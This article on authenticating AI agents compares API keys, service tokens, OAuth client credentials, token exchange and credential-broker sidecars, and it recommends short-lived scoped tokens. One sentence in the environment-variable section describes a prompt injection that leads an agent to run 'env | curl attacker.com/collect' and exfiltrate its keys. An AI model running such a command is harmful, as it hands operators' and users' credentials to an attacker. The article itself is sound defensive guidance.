Service Tokens vs API Keys for AI Agent Auth
TL;DR — API keys are static secrets with no expiry, no scope, and no rotation — they are the riskiest credential type for AI agents. Service tokens improve on API keys with tenant scoping, lifecycle controls, and expiry. But the real answer for production AI agents is OAuth 2.0 client credentials for machine-to-machine auth and OAuth token exchange (RFC 8693) for delegated user-bound auth. Issue short-lived, narrowly scoped tokens at session start. Never put credentials in the agent's environment — use a credential broker that injects auth headers on the outbound path. The agent never sees the secret, eliminating exfiltration via prompt injection.
The Problem: AI Agents Are Not Service Accounts
Traditional non-human identity (NHI) management assumes service accounts: fixed scope, defined behavior, trusted inputs, long-lived credentials. AI agents break every one of these assumptions.
| Property | Service Account | AI Agent |
|---|---|---|
| Behavior | Defined in code, reviewable | Produced at runtime by a model |
| Scope | Fixed at provisioning | Decided per request, open-ended |
| Inputs | Trusted config and parameters | Untrusted text (web pages, emails, tickets) |
| Identity | Acts as itself | Acts on behalf of a user |
| Lifecycle | Months to years | Minutes (session-bound) |
| Audit | Caller, target, timestamp | User request, reasoning trace, tool calls |
| Attack surface | Network-level | Prompt injection from any text input |
This table is not academic. It determines what authentication pattern to use. A static API key given to an agent that processes untrusted input, acts on behalf of users, and has broad tool access is a security incident waiting to happen.
API Keys: The Baseline (And Why It's Not Enough)
An API key is a static secret passed in an HTTP header. It is the simplest authentication method — and the most dangerous for AI agents.
How It Works
GET /api/v1/data
Authorization: Bearer sk-abc123...
The key is a bearer secret: whoever holds it can use it. There is no proof of possession, no expiry, no scope, and no rotation mechanism.
Why API Keys Fail for AI Agents
-
No expiry: A key leaked into a GitHub repo in 2024 is still valid in 2026 unless someone manually rotates it. NIST SP 800-63B requires authenticators to have defined lifetimes — API keys violate this by default.
-
No scope: The key that lets an agent read data is often the same key that can write or delete. Most systems do not enforce per-key scopes. An agent that needs read access gets full access.
-
No delegation: Every action appears to originate from the key holder. There is no way to know which user the agent was acting for. Audit trails show "the API key was used" — not "user Alice asked the agent to do X."
-
Environment variable exposure: The standard practice of putting API keys in environment variables is catastrophic for agents. Any process the agent spawns —
curl,git, a subprocess — can read the environment. A prompt injection that causes the agent to runenv | curl attacker.com/collectexfiltrates every key. -
No revocation without rotation: If a key is compromised, you must rotate it everywhere it's used. In a multi-tenant platform with dozens of agents, this is operationally painful.
When API Keys Are Acceptable
- Development and testing: Local sandbox, POC, internal tools with no production data
- Low-risk internal services: A read-only analytics query where the key has no write scope
- Rate-limited public APIs: Where the key grants access to public data only
Even in these cases, use scoped keys with explicit expiry if the provider supports it.
Service Tokens: A Step Up
Service tokens address some of API keys' weaknesses. They are scoped to an organization or tenant rather than a user, survive user offboarding, and have explicit lifecycle controls.
Key Properties
- Tenant-scoped: Bound to a customer or organization, not an individual user
- Lifecycle controls: Configurable expiry (
expiresInDays), archive capability - Role-based: Can be scoped to
READ,READ_WRITE, orADMIN - Survive offboarding: Revoked when the tenant is deactivated, not when a user leaves
Service Token vs API Key
| Property | API Key | Service Token |
|---|---|---|
| Bound to | User account | Organization or tenant |
| Expiry | None (until revoked) | Configurable (1-365 days) |
| Scope | Usually all-or-nothing | Role-based (READ, READ_WRITE, ADMIN) |
| Revocation on user departure | Yes | No — survives user changes |
| Audit trail | "This key was used" | "This tenant's token was used" |
| Best for | Individual developer scripts | Server-to-server, agents, multi-tenant |
Limitations for AI Agents
Service tokens are better than API keys, but they still have fundamental problems for agent workloads:
- Still a bearer secret: Whoever holds the token can use it. No proof of possession.
- Still long-lived: Even with a 365-day expiry, a token valid for months is a wide breach window.
- No user delegation: The token acts as the tenant, not as a specific user. You lose the "who asked the agent to do this" audit trail.
- No dynamic scoping: The scope is set at creation time. An agent that needs different scopes for different tasks must either be over-provisioned or use multiple tokens.
OAuth 2.0 Client Credentials: The Standard
OAuth 2.0 client credentials (RFC 6749, Section 4.4) is the industry standard for machine-to-machine authentication. It replaces static secrets with short-lived access tokens.
How It Works
- AI agent sends
client_idandclient_secretto the authorization server - Authorization server validates credentials and returns a JWT access token (typically valid for 1 hour)
- Agent includes the access token in API calls
- Token expires; agent requests a new one before the next call
POST /oauth/token
Content-Type: application/x-www-form-urlencoded
grant_type=client_credentials&client_id=agent-123&client_secret=...
→ 200 OK
{
"access_token": "eyJhbGci...",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "agents:read agents:execute"
}
Security Advantages Over API Keys
| Feature | API Keys | OAuth2 Client Credentials |
|---|---|---|
| Token lifetime | Indefinite | Short-lived (15 min – 1 hour) |
| Rotation | Manual | Automatic on expiry |
| Scope | None (full access) | Fine-grained (agents:read, not agents:write) |
| Audit trail | "This key was used" | "This service account acted at this time with these scopes" |
| Revocation | Manual key deletion | Tokens expire automatically; revoke at issuer |
When to Use Client Credentials
- Agent-to-platform communication: The agent authenticates to the AI platform's own API
- Service-to-service: Backend services calling each other
- Scheduled tasks: Cron jobs and batch processing that run without user context
Limitations
Client credentials authenticate the agent as itself — not as a user. This is correct for autonomous tasks, but wrong for delegated actions where the agent acts on behalf of a human user. For that, you need token exchange.
OAuth Token Exchange (RFC 8693): Delegated Identity
This is the pattern that solves the "who is the agent acting for?" problem.
The Use Case
A user Alice asks an AI agent to search her Google Drive for a document. The agent needs to call the Google Drive API. Options:
- Give the agent a service account key — the agent accesses Drive as the service account, not as Alice. Alice's file permissions are not respected. Wrong.
- Give the agent Alice's password — the agent has full access to Alice's account. Over-provisioned and insecure. Wrong.
- Token exchange — the agent trades Alice's access token for a delegated, short-lived, scoped token. The agent calls Drive as a delegate of Alice. Alice's permissions are respected. Correct.
How It Works
- Alice authenticates with the platform (SSO + 2FA)
- Platform issues Alice an access token:
token_alice - Alice's session starts an agent
- Agent requests a delegated token using
token_alice:
POST /oauth/token
Content-Type: application/x-www-form-urlencoded
Authorization: Bearer token_alice
grant_type=urn:ietf:params:oauth:grant-type:token-exchange
&subject_token=token_alice
&subject_token_type=urn:ietf:params:oauth:token-type:access_token
&scope=drive:read
&audience=google-drive-api
→ 200 OK
{
"access_token": "eyJhbGci...",
"issued_token_type": "urn:ietf:params:oauth:token-type:access_token",
"expires_in": 600,
"scope": "drive:read"
}
- The delegated token contains claims identifying both the agent and Alice:
{
"sub": "agent-123",
"act": {
"sub": "alice@company.com"
},
"scope": "drive:read",
"exp": 1751500400,
"aud": "google-drive-api"
}
- The agent uses this token to call the Drive API
- The token expires in 10 minutes
- The audit trail shows: "agent-123 acted on behalf of alice@company.com with scope drive:read"
Why This Matters for AI Platforms
- User permissions respected: Downstream APIs see the delegated identity and enforce the user's permissions
- Short-lived: Tokens expire in minutes, not months. A stolen token is useless quickly.
- Scoped: The token only has the scopes needed for the current task, not the agent's full capability
- Auditable: Every action shows both the agent identity and the user identity — full delegation chain
- Revocable: Revoke Alice's session and all delegated tokens are invalidated
Multi-Hop Delegation
In agent-to-agent scenarios, the delegation chain gets longer: Alice → Agent A → Agent B → API. Each hop should exchange tokens, creating a chain of delegated authority:
Alice → token_alice
Agent A exchanges → token_agent_a (act: alice)
Agent B exchanges → token_agent_b (act: agent_a, act: alice)
API call with token_agent_b
The final token contains the full chain. The API can verify the entire delegation path and enforce policy at any level.
Credential Brokers: Keeping Secrets Out of the Agent
Even with OAuth, the agent holds a token. A prompt injection that causes the agent to exfiltrate environment variables can steal the token. The solution is to keep secrets out of the agent's process entirely.
How a Credential Broker Works
- A local proxy runs alongside the agent
- The agent's environment contains a placeholder, not a real credential:
HTTP_PROXY=http://localhost:8999 - The agent makes a normal HTTP request to
https://api.example.com/data - The proxy intercepts the request, matches the destination, and substitutes the real
Authorizationheader - The proxy forwards the request to the real API
- The agent receives the response — it never saw the secret
Agent → [placeholder request, no auth header]
↓
Credential Broker (localhost:8999)
↓ [injects Authorization: Bearer <real_token>]
External API (api.example.com)
Why This Is the Strongest Pattern
- No secret in the agent's environment: Prompt injection cannot exfiltrate what the agent cannot see
- Per-destination scoping: The broker only injects credentials for approved destinations
- Token refresh handled by broker: The broker manages token lifecycle, not the agent
- Audit at the broker: Every outbound request is logged with destination, user, and agent identity
- Revocation at the broker: Disable the broker and all agent API access stops immediately
Implementation
For a multi-tenant AI platform, the credential broker can be:
- A sidecar proxy running next to each agent container
- A library that wraps HTTP clients (less secure — the agent process still has access to the library's memory)
- A platform-level service that agents call to make authenticated requests on their behalf
The sidecar proxy approach is the most secure because it operates at the network level — the agent process has no access to the proxy's memory space.
Decision Matrix: Which Pattern to Use
| Pattern | Security | Complexity | Best For | Token Theft Risk |
|---|---|---|---|---|
| API Keys | Low | Very low | Dev, sandbox, low-risk | High (static secret) |
| Service Tokens | Low-Medium | Low | Server-to-server, multi-tenant | Medium (long-lived) |
| OAuth2 Client Credentials | Medium | Low | M2M, service accounts | Medium (short-lived) |
| OAuth2 Token Exchange | Medium-High | Medium | Delegated access, user attribution | Medium (delegation chain) |
| Credential Broker | High | High | Zero-trust, prompt injection defense | Very low (no secret in agent) |
| OAuth2 + Credential Broker | Maximum | High | Production AI agents | Minimal (layered defense) |
Recommended Architecture for AI Platforms
- Use OAuth2 client credentials for agent-to-platform communication (agent authenticating to your own API)
- Use OAuth2 token exchange for delegated user actions (agent calling third-party APIs on behalf of users)
- Use a credential broker/sidecar to keep all secrets out of the agent's process
- Use API keys only for development and testing
- Never use service tokens or API keys for production agent-to-third-party communication
Per-Tenant Configuration
In a multi-tenant AI platform, each tenant should be able to configure:
agent_auth_policy:
pattern: oauth_token_exchange # or client_credentials, api_keys
token_lifetime_minutes: 15 # Short-lived delegated tokens
allowed_scopes:
- drive:read
- slack:post
- github:read
broker_required: true # Must use credential broker
max_delegation_depth: 3 # Max agent-to-agent hops
audit_level: full # Log full reasoning traces
Audit Requirements for Agent Auth
Agent authentication audit logs must capture more than service account logs:
- Agent identity: Which agent made the call
- User identity: Which user the agent was acting for (from token exchange
actclaim) - Delegation chain: Full chain of agents in multi-hop scenarios
- Scopes used: Which scopes were requested and granted
- Tool called: Which tool/API endpoint was invoked
- User request: The original user prompt that triggered the action
- Reasoning trace: The model's reasoning leading to the action (for incident investigation)
- Token metadata: Issuer, expiry, token ID (for revocation tracking)
This is significantly more than "API key sk-123 was used at 14:32." But without it, incident investigation for agent-caused actions is impossible.
Implementation Checklist
- [ ] Replace API keys with OAuth2 client credentials for agent-to-platform auth
- [ ] Implement OAuth2 token exchange (RFC 8693) for delegated user actions
- [ ] Set token lifetimes to 15 minutes or less for agent tokens
- [ ] Scope tokens to the minimum required for each task
- [ ] Implement a credential broker/sidecar to keep secrets out of agent processes
- [ ] Never put credentials in environment variables accessible to agents
- [ ] Log full delegation chain (agent identity + user identity + scopes)
- [ ] Log user request and reasoning trace for agent actions
- [ ] Implement per-tenant agent auth policies
- [ ] Support multi-hop delegation with token chain validation
- [ ] Rotate client secrets automatically (every 90 days maximum)
- [ ] Revoke all delegated tokens when a user session ends
- [ ] Rate-limit token exchange requests to prevent abuse
- [ ] Validate token audience (
audclaim) at every API endpoint - [ ] Alert on tokens used from unexpected IPs or after expiry
Conclusion
API keys are the wrong tool for AI agent authentication. They are static, unscoped, long-lived, and easily exfiltrated through prompt injection. Service tokens are better — tenant-scoped with lifecycle controls — but still bearer secrets with no delegation.
The right pattern for production AI agents is OAuth2 client credentials for machine-to-machine auth and OAuth2 token exchange (RFC 8693) for delegated user actions. Short-lived, scoped, auditable tokens that carry the full delegation chain. Combined with a credential broker that keeps secrets out of the agent's process, this architecture eliminates the most common attack vectors: token theft via environment exfiltration, over-provisioned credentials, and missing audit trails.
Enterprise customers will ask about every one of these patterns in their security review. Having a clear answer — "we use OAuth token exchange with a credential broker sidecar, tokens expire in 15 minutes, and we log the full delegation chain" — is the difference between passing procurement and stalling for months.